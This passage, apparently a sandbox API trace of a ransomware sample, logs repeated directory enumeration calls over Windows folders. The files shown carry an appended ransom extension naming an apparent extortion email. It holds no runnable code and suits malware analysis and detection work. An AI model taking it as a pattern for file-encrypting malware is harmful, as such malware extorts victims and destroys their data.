cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.397] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.398] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.398] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0191.398] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.398] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.399] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.399] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d26764, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d26764, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d26764, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.400] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d26764, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d26764, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d4b6fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.400] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.400] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.400] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.401] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.401] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0191.401] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.401] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.402] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.402] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d4b6fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d4b6fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.402] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d71899, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391c3e95, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.402] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.403] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.403] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.404] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.404] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0191.404] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.404] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.405] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.405] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f30272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f30272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f3b485, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.405] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.405] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39341501, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39341501, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39341501, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.406] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39341501, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39341501, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39341501, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.406] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.407] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.407] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0191.407] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.407] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.408] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.408] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3957d995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.408] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3953138c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3953138c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3953138c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.408] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.408] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.408] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.410] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.410] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0191.410] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.410] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.411] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.411] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38fadd16, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38fadd16, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38fadd16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.411] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38fd3dd3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38fd3dd3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38fd3dd3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.412] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.412] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.412] FindClose (in: hFindFile=0x67a7b8 | out: hFindFile=0x67a7b8) returned 1 [0191.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.413] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0191.413] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.413] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a7b8 [0191.414] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.414] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ffa0ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.414] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ffa0ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.414] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.414] FindNextFileW (in: hFindFile=0x67a7b8, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, 